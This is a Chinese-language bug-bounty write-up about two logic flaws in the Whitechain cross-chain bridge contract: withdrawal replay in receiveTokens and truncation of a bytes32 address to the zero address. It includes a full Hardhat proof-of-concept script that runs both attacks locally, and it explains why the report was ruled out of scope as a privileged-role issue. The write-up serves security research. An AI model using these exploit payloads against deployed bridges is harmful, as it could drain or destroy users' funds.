摘要:
本文复盘了一次针对 Whitechain 跨链桥的实战漏洞挖掘。作者通过源码审计,发现了提现重放与 bytes32 地址截断漏洞,并在本地 Hardhat 环境下成功手写 PoC 跑通了攻击。然而,该漏洞最终却被平台判定为 N/A。本文将带你一探 Web3 赏金界的“特权角色”潜规则,并硬核拆解 PoC 构造中的底层破局思路(类型补齐、幽灵地址构造等),提供一份真实的避坑指南。

当终端最终跑出绿色的 2 passing 时,我曾以为这会是一次丰收。随后的 N/A 判定与扣分,让我彻底冷静了下来。整理三点沉淀,既是备忘,也与大家共勉:

  1. 规则认知:特权信任与外部攻击面
    这次最大的教训,是对赏金边界的重新审视。在 Web3 审计中,带有 onlyRole 等权限修饰的函数属于“特权信任区”。即使内部逻辑存在校验缺失,只要外部普通攻击者无法直接触达,规则上统归 Out of Scope。未来的审计重心,应更聚焦于无需权限的公共函数。

  2. 技术沉淀:PoC 构造的三个破局点
    在借助 AI 辅助补全 TypeScript 语法的过程中,我主导设计了核心的攻击载荷逻辑:

强破类型校验:针对 bytes32 要求,使用 zeroPadValue 将 20 字节地址右侧补零,满足 ABI 编码。

精准构造异常载荷:手工拼装“高位有值、低位全零”的十六进制地址。它成功绕过了 nonZero 前置检查,并在底层触发 uint160 截断化为零地址,导致资金永久锁定。

环境动态适配:摒弃硬编码,通过 provider.getNetwork() 动态捕获 ChainId,保证了脚本在任意分叉环境下的兼容与健壮。

  1. 心态回归:N/A 不等于 Invalid
    平台判定不适用,仅代表发现偏离了奖励规则,并不否定代码逻辑本身。实打实的测试通过结果就是最好的证明。虽未获赏金,但完整跑通了从源码分析到 Hardhat 本地复现的全链路,这套工程化能力,才是真正带走的硬实力。

最近尝试了 HackenProof 上的 Whitechain 跨链桥项目,总结了两个点。

  1. 发现的代码漏洞
    在审计 Bridge.sol 时,发现两个逻辑缺陷:

提现重放:存款函数 bridgeTokens 有 usedHashes 校验防重放,但提现函数 receiveTokens 完全没有。

地址截断:提现时 bytes32 类型的地址被强制转换 uint160,构造特殊地址会导致资金打入零地址。

alt text

alt text

alt text

为了证明漏洞的真实性,我基于 Hardhat 框架编写了完整的 PoC 攻击脚本(FullExploit.ts)。

在编写过程中,我踩平了合约各种严苛的校验坑。比如:

必须动态获取当前链的 ChainId,否则 registerMapping 会报错。

结构体传参时,普通的 address 必须用 hre.ethers.zeroPadValue 补齐成 32 字节的 bytes32。

原生代币的限额必须使用 ZeroHash。

完整代码如下,建议大家阅读时重点关注 Critical 1 和 Critical 2 的攻击逻辑:

//

👉 点击展开查看完整 PoC 脚本(FullExploit.ts)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import { expect } from "chai";
import hre from "hardhat";

describe("🔥 Whitechain Bridge Full Exploit", function () {
let BridgeContract: any;
let MapperContract: any;

let deployer: any;
let emergencyAddress: any;
let multisigAddress: any;
let relayerAddress: any;
let user1: any;
let user2: any;

// 枚举常量定义
const DepositType = { None: 0, Lock: 1, Burn: 2 };
const WithdrawType = { None: 0, Unlock: 1, Mint: 2 };

beforeEach(async function () {
const accounts = await hre.ethers.getSigners();
deployer = accounts[0];
emergencyAddress = accounts[1];
multisigAddress = accounts[2];
relayerAddress = accounts[3];
user1 = accounts[4];
user2 = accounts[5];

// 1. 部署 Mapper
MapperContract = await hre.upgrades.deployProxy(
await hre.ethers.getContractFactory("contracts/main/modules/mapper/Mapper.sol:Mapper"),
[{
emergencyAddress: emergencyAddress.address,
multisigAddress: multisigAddress.address
}],
{ initializer: 'initialize', kind: 'uups' }
);

// 2. 部署 Bridge
BridgeContract = await hre.upgrades.deployProxy(
await hre.ethers.getContractFactory("contracts/main/modules/bridge/Bridge.sol:Bridge"),
[{
mapperAddress: await MapperContract.getAddress(),
emergencyAddress: emergencyAddress.address,
multisigAddress: multisigAddress.address,
relayerAddress: relayerAddress.address
}],
{ initializer: 'initialize', kind: 'uups' }
);

// 3. 注册映射(核心排雷区)
const network = await hre.ethers.provider.getNetwork();
const currentChainId = network.chainId;
const fakeTokenAddress = hre.ethers.zeroPadValue(user1.address, 32);

const mapInfo = {
originChainId: BigInt(1),
targetChainId: currentChainId,
depositType: DepositType.None,
withdrawType: WithdrawType.Unlock,
originTokenAddress: fakeTokenAddress,
targetTokenAddress: fakeTokenAddress,
useTransfer: false,
isAllowed: true,
isCoin: true
};
await MapperContract.connect(multisigAddress).registerMapping(mapInfo);

// 4. 给 Bridge 充值 100 ETH 供提现
await deployer.sendTransaction({
to: await BridgeContract.getAddress(),
value: hre.ethers.parseEther("100")
});

// 5. 设置每日限额(原生币使用 ZeroHash)
await BridgeContract.connect(multisigAddress).setDailyLimit(
hre.ethers.ZeroHash,
relayerAddress.address,
1000000n
);
});

it("Critical 1: 提现重放攻击 (Replay Attack)", async function () {
const mapId = 1;
const externalId = hre.ethers.encodeBytes32String("hack_replay_001");
const amount = 1000n;

const params = [
externalId,
mapId,
amount,
hre.ethers.zeroPadValue(user1.address, 32),
hre.ethers.zeroPadValue(user2.address, 32)
];

console.log("\n🚀 第 1 次正常提现...");
const tx1 = await BridgeContract.connect(relayerAddress).receiveTokens(params);
await tx1.wait();
console.log("✅ 第 1 次提现成功!");

console.log("🔥 第 2 次原封不动重放...");
const tx2 = await BridgeContract.connect(relayerAddress).receiveTokens(params);
await tx2.wait();
console.log("💥💥💥 [攻击成功] 重放提现成功!");

expect(tx2).to.not.be.reverted;
});

it("Critical 2: 地址截断攻击 (Address Truncation)", async function () {
const mapId = 1;
const externalId = hre.ethers.encodeBytes32String("hack_zero_002");
const amount = 1000n;
const maliciousToAddress = "0x0000000000000000000000000000000000000000000000000000000100000000";

const params = [
externalId,
mapId,
amount,
hre.ethers.zeroPadValue(user1.address, 32),
maliciousToAddress
];

console.log("\n🕳️ 尝试提现到被截断的零地址...");
const tx = await BridgeContract.connect(relayerAddress).receiveTokens(params);
await tx.wait();
console.log("💥💥💥 [攻击成功] 资金被永久销毁!");

expect(tx).to.not.be.reverted;
});
});

alt text

  1. 为什么被判了 N/A?
    兴冲冲提交后,审核员判定为 Not Applicable(不适用),并扣了 5 点声望。

原因:提现函数带有 onlyRole(RELAYER_ROLE) 权限锁。在 Web3 赏金规则中,利用特权账号(中继器、管理员)引发的漏洞(或特权账号被黑)属于 Out of Scope。外部路人无法直接触发,故不算有效漏洞。

alt text